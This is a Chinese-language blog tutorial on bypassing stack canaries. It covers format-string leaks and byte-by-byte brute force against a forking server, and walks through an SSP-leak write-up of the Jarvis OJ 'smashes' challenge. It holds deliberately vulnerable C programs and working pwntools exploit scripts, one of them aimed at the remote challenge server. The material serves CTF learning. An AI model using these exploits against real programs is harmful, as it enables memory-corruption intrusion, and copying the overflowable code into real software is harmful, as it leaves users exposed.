此文讨论我目前所知的几种关于canary的玩法,我目前不知道的就等我以后什么时候知道了再补充吧。
先说说canary canary直译就是金丝雀,为什么是叫金丝雀?
17世纪,英国矿井工人发现,金丝雀对瓦斯这种气体十分敏感。空气中哪怕有极其微量的瓦斯,金丝雀也会停止歌唱;而当瓦斯含量超过一定限度时,虽然鲁钝的人类毫无察觉,金丝雀却早已毒发身亡。当时在采矿设备相对简陋的条件下,工人们每次下井都会带上一只金丝雀作为“瓦斯检测指标”,以便在危险状况下紧急撤离。
而程序里的canary就是来检测栈溢出的。
检测的机制是这样的:
1.程序从一个神奇的地方取出一个4(eax)或8(rax)节的值,在32位程序上,你可能会看到:
在64位上,你可能会看到:
总之,这个值你不能实现得到或预测,放到站上以后,eax中的副本也会被清空(xor eax,eax)
2.程序正常的走完了流程,到函数执行完的时候,程序会再次从那个神奇的地方把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。
在栈中大致是这样一个画风:
绕过canary - 格式化字符串 格式化字符串能够实现任意地址读写,具体的实现可以参考我blog中关于格式化字符串的总结,格式化字符串的细节不是本文讨论的重点。
大体思路就是通过格式化字符串读取canary的值,然后在栈溢出的padding块把canary所在位置的值用正确的canary替换,从而绕过canary的检测。
示例程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <unistd.h> void getflag (void ) { char flag[100 ]; FILE *fp = fopen ("./flag" , "r" ); if (fp == NULL ) { puts ("get flag error" ); } fgets (flag, 100 , fp); puts (flag); } void init () { setbuf (stdin, NULL ); setbuf (stdout, NULL ); setbuf (stderr, NULL ); } void fun (void ) { char buffer[100 ]; read (STDIN_FILENO, buffer, 120 ); } int main (void ) { char buffer[6 ]; init (); scanf ("%6s" ,buffer); printf (buffer); fun (); }
在第一次scanf的时候输入“%7$x”打印出canary,在fun中利用栈溢出控制eip跳转到getflag。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' cn = process('./bin' ) cn.sendline('%7$x' ) canary = int (cn.recv(),16 ) print hex (canary)cn.send('a' *100 + p32(canary) + 'a' *12 + p32(0x0804863d )) flag = cn.recv() log.success('flag is:' + flag)
绕过canary - 针对fork的进程 对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。
示例程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> void getflag (void ) { char flag[100 ]; FILE *fp = fopen ("./flag" , "r" ); if (fp == NULL ) { puts ("get flag error" ); exit (0 ); } fgets (flag, 100 , fp); puts (flag); } void init () { setbuf (stdin, NULL ); setbuf (stdout, NULL ); setbuf (stderr, NULL ); } void fun (void ) { char buffer[100 ]; read (STDIN_FILENO, buffer, 120 ); } int main (void ) { init (); pid_t pid; while (1 ) { pid = fork(); if (pid < 0 ) { puts ("fork error" ); exit (0 ); } else if (pid == 0 ) { puts ("welcome" ); fun (); puts ("recv sucess" ); } else { wait (0 ); } } }
poc脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context.log_level = 'debug' cn = process('./bin' ) cn.recvuntil('welcome\n' ) canary = '\x00' for j in range (3 ): for i in range (0x100 ): cn.send('a' *100 + canary + chr (i)) a = cn.recvuntil('welcome\n' ) if 'recv' in a: canary += chr (i) break cn.sendline('a' *100 + canary + 'a' *12 + p32(0x0804864d )) flag = cn.recv() cn.close() log.success('flag is:' + flag)
故意触发canary - ssp leak 这题可以参考jarvis oj中 smashes一题的解题方法中的前一半。
这里我偷个懒,直接把之前写的wp扔过来了,反正原理都在题里了。
题目描述:
Smashes, try your best to smash!!!
nc pwn.jarvisoj.com 9877
smashes.44838f6edd4408a53feb2e2bbfe5b229
首先查看保护
1 2 3 4 5 6 7 8 $ checksec pwn_smashes [*] '/home/veritas/pwn/jarvisoj/smashes/pwn_smashes' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
有canary,有nx
ida找到关键函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 func_1() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 buffer; // [sp+0h] [bp-128h]@1 __int64 canary; // [sp+108h] [bp-20h]@1 canary = *MK_FP(__FS__, 40LL); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets(&buffer); if ( !v0 ) label_exit: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1u ) goto label_exit; if ( v2 == '\n' ) break; flag[v1++] = v2; if ( v1 == 32 ) // 32长度 goto thank_you; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); thank_you: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ canary;
首先,函数使用了gets(的某种形态?) 来获取输入,好处是我们可以输入无限长度的字符串,坏处是发送过去的字符串的尾部会以\n
结尾,所以无法绕过canary。
纵观整个程序,似乎没有什么地方能够绕过canary,也没有什么地方能打印flag。
但如果你换个思路,我们故意触发canary的保护会怎么样?
事实上,就有一种攻击方法叫做SSP(Stack Smashing Protector ) leak
。
如果canary被我们的值覆盖而发生了变化,程序会执行函数___stack_chk_fail()
一般情况下,我们执行了这个函数,输出是这样的:
我们来看一下源码 __stack_chk_fail :
1 2 3 4 5 void __attribute__ ((noreturn)) __stack_chk_fail (void ) { __fortify_fail ("stack smashing detected" ); }
fortify_fail
1 2 3 4 5 6 7 8 9 void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ) } libc_hidden_def (__fortify_fail)
可见,__libc_message 的第二个%s
输出的是argv[0],argv[0]是指向第一个启动参数字符串的指针,而在栈中,大概是这样一个画风
所以,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
听起来很美妙,我们可以试试看。
先写如下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context.log_level = 'debug' cn = process('pwn_smashes' ) cn.recv() cn.sendline(p64(0x0000000000400934 )*200 ) cn.recv() cn.sendline() cn.recv()
输出结果令我们满意
1 2 3 4 [DEBUG] Received 0x56 bytes: 'Thank you, bye!\n' '*** stack smashing detected ***: Hello!\n' "What's your name? terminated\n"
但是,当我们把地址换成flag的地址时,却可以发现flag并没有被打印出来,那是因为在func_1函数的结尾处有这样一句:
1 memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
所以,无论如何,等我们利用canary打印flag的时候,0x600D20上的值已经被完全覆盖了,因此我们无法从0x600D20处得到flag。
这就是这道题的第二个考点,ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。
可见,其实在0x400d20处存在flag的备份。
因此,最终的poc为:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level = 'debug' cn = remote('pwn.jarvisoj.com' , 9877 ) cn.recv() cn.sendline(p64(0x0400d20 )*200 ) cn.recv() cn.sendline() cn.recv()